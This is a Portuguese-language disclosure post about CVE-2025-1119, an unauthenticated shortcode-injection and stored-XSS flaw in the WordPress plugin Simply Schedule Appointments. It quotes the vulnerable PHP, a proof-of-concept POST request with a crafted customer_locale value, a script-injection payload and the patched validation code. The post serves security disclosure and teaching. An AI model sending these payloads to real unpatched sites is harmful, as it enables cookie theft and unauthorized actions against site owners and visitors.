Introdução
Entre as diversas vulnerabilidades que afetam plugins do WordPress, as que permitem execução de código sem permissão são particularmente preocupantes. Recentemente, identifiquei uma falha de segurança no plugin “Appointment Booking Calendar — Simply Schedule Appointments”, que afeta todas as versões até 1.6.8.5, permitindo a execução arbitrária de shortcodes e Stored XSS.
Informações relevantes:
- Plugin: Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin
- Versões afetadas: <= 1.6.8.5
- CVE: CVE-2025-1119
- CWE: CWE-94 (Improper Control of Generation of Code (‘Code Injection’))
- CVSS: 7.3 (Alto) – CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Data de publicação: 12 de março de 2025 (Wordfence Intelligence)
O Plugin e a Vulnerabilidade
Simply Schedule Appointments
Simply Schedule Appointments é um plugin para WordPress com mais de 50.000 instalações ativas que oferece funcionalidades de agendamento automático de compromissos. Ele permite que clientes de empresas agendem compromissos diretamente através do site.
A Vulnerabilidade
A vulnerabilidade encontrada permite que um atacante, sem necessidade de autenticação, injete e execute shortcodes arbitrários do WordPress ou realize ataques de Stored XSS através do parâmetro customer_locale
no endpoint de agendamentos da API. Manipulando este parâmetro com um payload especialmente elaborado, é possível escapar do contexto esperado (que seria apenas um código de localidade como “en_US” ou “pt_BR”) e injetar código malicioso que será executado na página de edição do agendamento.
Análise Técnica
A vulnerabilidade está localizada no arquivo booking-app-new/page-appointment-edit.php
, onde o plugin constrói dinamicamente um shortcode para ser executado:
$shortcode = '[ssa_booking edit="'.$ssa_current_appointment_id.'"';
if ( ! empty( $_GET['paypal_success'] ) || ! empty( $_GET['paypal_cancel'] ) ) {
$shortcode .= ' view="confirm_payment"';
}
$appointment = new SSA_Appointment_Object( $ssa_current_appointment_id );
$customer_locale = $appointment->customer_locale;
if ( ! empty( $customer_locale ) ) {
$shortcode .= ' ssa_locale="'. $customer_locale . '"';
}
$shortcode .= ']';
echo do_shortcode( $shortcode );
O problema principal está na falta de sanitização ou validação adequada do parâmetro $customer_locale
. Este valor é extraído diretamente do objeto de agendamento e concatenado à string do shortcode sem qualquer verificação. Como o valor deste parâmetro pode ser controlado por um usuário não autenticado através do endpoint da API, um atacante pode inserir um payload que “escape” da estrutura do shortcode e injete código malicioso.
Prova de Conceito (POC)
Durante meus testes no plugin, identifiquei esta vulnerabilidade através da análise do código e manipulei a requisição à API para demonstrar a exploração. O payload é injetado através de uma requisição POST para o endpoint de agendamentos:
POST http://example.com/wp-json/ssa/v1/appointments HTTP/1.1
Content-Type: application/json
{
"appointment_type_id":"1",
"customer_information":{
"Name":"Nome de Teste",
"Email":"[email protected]",
"Phone":"",
"Address":"",
"City":"",
"State":"",
"Zip":"",
"Notes":""
},
"customer_timezone":"America/Sao_Paulo",
"start_date":"2025-01-17 18:30:00",
"selected_date":"2025-01-17",
"fetch":{"add_to_calendar_links":true},
"customer_locale":"en_US\"][ssa_booking edit=\"11\"]",
"post_information":{
"booking_url":"",
"booking_post_id":"",
"booking_title":""
}
}
Observe o valor do parâmetro customer_locale
:
"customer_locale":"en_US\"][ssa_booking edit=\"11\"]"
Este payload quebra a estrutura do shortcode original e injeta um novo shortcode [ssa_booking edit="11"]
, que será executado pelo WordPress quando a página de edição do agendamento for acessada.
Impacto Adicional: Stored XSS
A função do_shortcode
retorna o conteúdo intacto caso não seja identificado que se trata de um shortcode, ou seja, é possível executar XSS utilizando a mesma vulnerabilidade usando um payload como:
"customer_locale":"en_US\"]<script>alert(1)</script>"
Este payload fecha o shortcode original e injeta um script JavaScript que será executado quando a página de edição do agendamento for visualizada.
Impacto e Riscos
Dependendo dos shortcodes disponíveis no site, os atacantes poderiam:
- Executar ações não autorizadas através de shortcodes administrativos
- Roubar cookies e credenciais através do Stored XSS
- Modificar o conteúdo exibido para os usuários através do Stored XSS
Como Foi Corrigido
Na versão 1.6.8.6, os desenvolvedores implementaram a seguinte correção:
// Validate locale (only letters, underscores, and dashes allowed)
if ( !preg_match( '/^[a-zA-Z_-]+$/', $customer_locale ) ) {
// default to en_US if locale is invalid
$customer_locale = 'en_US';
}
$shortcode .= ' ssa_locale="'. $customer_locale . '"';
A correção implementa uma validação do formato do código de localidade usando uma expressão regular que permite apenas letras, sublinhados e hífens. Caso o valor não corresponda a este padrão, o sistema utiliza o valor padrão “en_US”, impedindo efetivamente a injeção de caracteres especiais que poderiam escapar do contexto do shortcode.
Conclusão
O CVE-2025-1119 demonstra como mesmo um plugin com milhares de instalações pode conter vulnerabilidades significativas. A falta de validação em um único parâmetro abriu a porta para execução de código arbitrário e Stored XSS, potencialmente comprometendo a segurança de milhares de sites WordPress.
Agradeço à equipe do Wordfence Intelligence pelo profissionalismo durante o processo de divulgação e aos desenvolvedores do Simply Schedule Appointments pela implementação de uma correção.
Este post foi escrito com base em minha descoberta do CVE-2025-1119, documentado no banco de dados de vulnerabilidades do Wordfence Intelligence. Se você tiver dúvidas ou comentários, deixe-os abaixo ou entre em contato diretamente.